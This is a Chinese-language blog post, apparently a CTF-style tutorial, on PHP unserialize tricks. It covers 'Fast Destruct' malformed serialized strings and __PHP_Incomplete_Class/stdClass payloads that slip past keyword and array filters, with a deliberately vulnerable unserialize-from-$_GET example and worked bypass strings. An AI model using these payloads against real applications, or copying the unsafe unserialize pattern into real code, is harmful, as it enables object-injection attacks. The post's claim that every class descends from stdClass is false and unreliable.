HacKerQWQ的博客空间

PHP反序列化小技巧之Fast Destruct

Word count: 1.1kReading time: 5 min
2021/08/29 Share

Fast Destruct

Fast Destruct一般通过破坏序列化字符串的结构来实现,payload如下

1
2
3
$payload = 'a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}';
$payload = 'a:3:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}}';
$payload = 'a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{};}';

Fast Destruct与正常反序列化的区别

  1. 正常反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class B {
public function __call($f,$p) {
echo "B::__call($f,$p)\n";
}
public function __destruct() {
echo "B::__destruct\n";
}
public function __wakeup() {
echo "B::__wakeup\n";
}
}

class A {
public function __destruct() {
echo "A::__destruct\n";
$this->b->c();
}
}

unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}}');

image-20210827144219403

可以看到会先对B类进行一个__wakeup然后A__destruct,然后是对B类的一些操作

  1. Fast Destruct
1
2
3
unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{};}');
unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}');
unserialize('O:1:"A":2:{s:1:"b";O:1:"B":0:{}}');

image-20210827144506498

可以看到__wakeup被放到后面执行了,也就是__destruct()函数被提前执行了

stdClass和__PHP_Incomplete_Class

stdClass和__PHP_Incomplete_Class简介

所有的类都是stdClass类的子类,stdClass是所有类的基类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
php > var_dump(unserialize('a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:4:"Test":1:{s:3:"abc";N;}}'));
php shell code:1:
array(2) {
[0] =>
class stdClass#2 (1) {
public $abc =>
NULL
}
[1] =>
class __PHP_Incomplete_Class#4 (2) {
public $__PHP_Incomplete_Class_Name =>
string(4) "Test"
public $abc =>
NULL
}
}

反序列化的时候找不到Test类,因此会将这些类都归到__PHP_Incomplete_Class类中

  • $__PHP_Incomplete_Class_Name变量对应要反序列化的类名
  • 附带其他变量

__PHP_Incomplete_Class特性

如果不指定__PHP_Incomplete_Class_Name的话,那么__PHP_Incomplete_Class类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字

image-20210828002708064

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class Test{
public $a;
function __destruct(){
echo "Destructed";
}
}
?> <?php
error_reporting(E_ALL);
echo "classes.php<br/>";
highlight_file("classes.php");

highlight_file(__FILE__);

function myAutoLoader($classname){
include_once $classname.".php";
}

function waf1($raw){
if(preg_match('/classes/i',serialize($raw))) return false;
return true;
}
function waf2($raw){
if(preg_match('/i/',$raw)) return false;
$o = unserialize($raw);
if(!$o) return FALSE;
return TRUE;
}

$pop = $_GET['pop'];

if(waf2($pop)){

spl_autoload_register("myAutoloader");
$o = unserialize($pop);
//var_dump($o);

if(waf1($o)){
echo "Success";
}else {
echo "WAF 1";
throw new Exception("WAF 1");
}

}else {
echo "WAF 2";
throw new Exception("WAF 2");
}

?>

简单来说这里有几个过滤的点

  1. waf1检查是否有classes关键字,由于这里调用的是文件名,所以大写S,然后使用十六进制的做法不通
  2. waf2过滤了数组,不能用数组的方式调用其他文件的类,检测反序列化后的对象是否正确,意味着不能用fast destruct的方法破坏结构

来一一绕过

  • classes关键字可以通过上面讲的__PHP_Incomplete_Class去掉__PHP_Incomplete_Class_Name变量来绕过,这样可以反序列化类再序列化类之后把关键字classes去掉

    1
    O:22:"__PHP_Incomplete_Class":1:{s:1:"s";s:7:"classes";}
  • 数组过滤可以使用stdClass类替代

    1
    s:8:"stdClass":0:{}

    结合起来就是

    1
    O:8:"stdClass":2:{s:1:"a";O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}s:1:"b";O:4:"Test":0:{}}

    如果数组没有过滤可以写成如下形式

    1
    a:2:{s:1:"a";O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}s:1:"b";O:4:"Test":0:{}}
    • 注意数组的键一定是字符类型,不能是数字,比如这里就是”a”和”b”

    因为php对大小写不敏感,所以Test也可以是test或其他

需要注意的是如果题目存在多个class的引入,只需要在最外层引入__PHP_Incomplete_Class,因为最先反序列化的是最外层类对象

CATALOG
  1. 1. Fast Destruct
    1. 1.1. Fast Destruct与正常反序列化的区别
  2. 2. stdClass和__PHP_Incomplete_Class
    1. 2.1. stdClass和__PHP_Incomplete_Class简介
    2. 2.2. __PHP_Incomplete_Class特性
    3. 2.3. 例子